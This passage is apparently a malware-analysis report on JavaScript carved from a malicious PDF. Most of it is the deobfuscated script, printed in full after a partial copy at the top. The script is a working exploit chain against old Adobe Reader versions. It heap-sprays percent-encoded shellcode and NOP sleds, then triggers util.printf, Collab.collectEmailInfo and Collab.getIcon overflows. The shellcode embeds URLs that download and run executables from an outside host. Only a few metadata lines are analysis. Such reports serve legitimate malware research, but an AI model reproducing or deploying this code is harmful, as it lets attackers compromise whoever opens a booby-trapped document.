var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6261%u6665%u6A68%u766D%u337A%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6766%u6A69%u726D%u7978%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5324 bytes
SHA-256: f42645c3ffa0cdd843ed371db34dee737cb251454464a40ca5c36f7083e8de4a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6563%u6968%u706C%u7872%u3379%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6261%u6665%u6A68%u766D%u337A%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6766%u6A69%u726D%u7978%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.